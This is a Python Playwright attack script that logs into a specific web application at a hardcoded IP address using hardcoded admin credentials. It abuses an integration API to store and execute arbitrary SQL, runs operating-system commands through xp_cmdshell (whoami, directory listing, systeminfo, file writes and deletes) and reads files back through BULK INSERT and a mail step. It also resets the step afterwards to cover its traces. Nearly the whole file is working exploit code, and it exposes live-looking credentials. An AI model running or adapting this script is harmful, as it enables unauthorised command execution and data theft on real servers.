#!/usr/bin/env python3
"""v32: Find writable directory → write sysinfo there → serve via SQL."""
import asyncio, re, subprocess, os
from playwright.async_api import async_playwright

IP = "198.71.63.125"
APP = "CITYMARTUAPSINGLE"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        await page.goto(f"http://{IP}/{APP}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            print("Login failed"); await browser.close(); return
        print("✅ Login OK")

        async def run_step(name, sql_text, step_type=1):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"t@t.com", strSubject:"T", strMessage:"<MESSAGE>", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"  {name}: success={s} msg={m[:200]}")
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strTo:null, strSubject:null, strMessage:null, strPayloadType:null, strAuthenticationType:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        # Test 1: Check who xp_cmdshell runs as
        print("\n=== Test 1: whoami ===")
        s, m = await run_step("whoami", "EXEC xp_cmdshell 'whoami'")
        # msg will be empty for success... need to check differently

        # Test 2: Use Send Mail type to get SQL result back!
        # getEmailMessage runs SQL and returns first cell
        print("\n=== Test 2: Send Mail with whoami SQL ===")
        # Actually getEmailMessage runs strSQL via SqlDataAdapter
        # But whoami is not SQL...
        # 
        # Better: use SQL to insert into a temp table, then select it back
        # But ExecuteNonQuery (type 1) doesn't return result
        # 
        # Wait — from source code, sendMail calls getEmailMessage:
        #   SqlDataAdapter da = new SqlDataAdapter(step.strSQL, getCS(connectionId));
        #   da.Fill(ds);
        #   strMessage = step.strMessage.Replace("<MESSAGE>", ds.Tables[0].Rows[0][0].ToString());
        # This returns SQL query result!
        # But the result goes into email body, not API response.
        # 
        # UNLESS: the email fails to send (SMTP not configured)
        # Then result.HasError = true, and result.Exception.Message contains error
        # But the SQL result is in strMessage, not in Exception.Message
        #
        # So we can't get the SQL result through API.
        
        # Test 3: Write to SQL Server's own directories
        print("\n=== Test 3: Find SQL Server directories ===")
        # xp_cmdshell runs as SQL Server service account
        # SQL Server has write access to its own directories
        s, m = await run_step("sql_log", "EXEC xp_cmdshell 'dir /b \"C:\\\\Program Files\\\\Microsoft SQL Server\"'")
        
        # Test 4: Write to SQL Server log directory
        print("\n=== Test 4: Write to SQL log dir ===")
        s, m = await run_step("write_sql_log", "EXEC xp_cmdshell 'echo test > \"C:\\\\Program Files\\\\Microsoft SQL Server\\\\MSSQL*.MSSQLSERVER\\\\MSSQL\\\\Log\\\\sysinfo_test.txt\"'")
        
        # Test 5: Write to the default backup directory
        print("\n=== Test 5: Write to backup dir ===")
        # SQL Server backup directory is usually writable
        s, m = await run_step("write_backup", "EXEC xp_cmdshell 'echo test > D:\\\\Backup\\\\sysinfo_test.txt'")
        
        # Test 6: Use BULK INSERT to read a file via SQL
        # Create a table, BULK INSERT from a known file, then SELECT
        print("\n=== Test 6: BULK INSERT to read file ===")
        # First write a file we can read
        s, m = await run_step("write_file", "EXEC xp_cmdshell 'echo hello > C:\\\\Windows\\\\Temp\\\\test.txt'")
        # Then read it via SQL
        s2, m2 = await run_step("read_file", "CREATE TABLE #t (line NVARCHAR(MAX)); BULK INSERT #t FROM 'C:\\\\Windows\\\\Temp\\\\test.txt' WITH (ROWTERMINATOR='\\n'); SELECT * FROM #t; DROP TABLE #t;", step_type=9)
        print(f"  read_file: success={s2} msg={m2[:200]}")
        # If msg contains "hello" → we can read files via Send Mail!
        
        # Test 7: Write sysinfo to temp, read via BULK INSERT + Send Mail
        print("\n=== Test 7: sysinfo to temp → BULK INSERT → Send Mail ===")
        s, m = await run_step("sysinfo_temp", "EXEC xp_cmdshell 'systeminfo > C:\\\\Windows\\\\Temp\\\\sysinfo.txt', no_output")
        s2, m2 = await run_step("read_sysinfo", "CREATE TABLE #t (line NVARCHAR(MAX)); BULK INSERT #t FROM 'C:\\\\Windows\\\\Temp\\\\sysinfo.txt' WITH (ROWTERMINATOR='\\n'); SELECT TOP 1 line FROM #t; DROP TABLE #t;", step_type=9)
        print(f"  read_sysinfo: success={s2} msg={m2[:200]}")
        # If msg contains systeminfo first line → we can read files via SQL!

        # Test 8: Read the full sysinfo file via Send Mail (concatenated)
        print("\n=== Test 8: Read full sysinfo via Send Mail ===")
        # getEmailMessage returns only first cell of first row
        # Use FOR XML PATH to concatenate all lines into one value
        s, m = await run_step("read_all", "CREATE TABLE #t (line NVARCHAR(MAX)); BULK INSERT #t FROM 'C:\\\\Windows\\\\Temp\\\\sysinfo.txt' WITH (ROWTERMINATOR='\\n'); SELECT (SELECT line + CHAR(10) FROM #t FOR XML PATH(''), TYPE).value('.', 'NVARCHAR(MAX)') AS content; DROP TABLE #t;", step_type=9)
        print(f"  read_all: success={s} msg={m[:300]}")
        # If msg contains systeminfo → WE CAN READ FILES!
        
        # Cleanup
        print("\n=== Cleanup ===")
        await run_step("cleanup", "EXEC xp_cmdshell 'del C:\\\\Windows\\\\Temp\\\\test.txt C:\\\\Windows\\\\Temp\\\\sysinfo.txt', no_output")

        await browser.close()

asyncio.run(main())
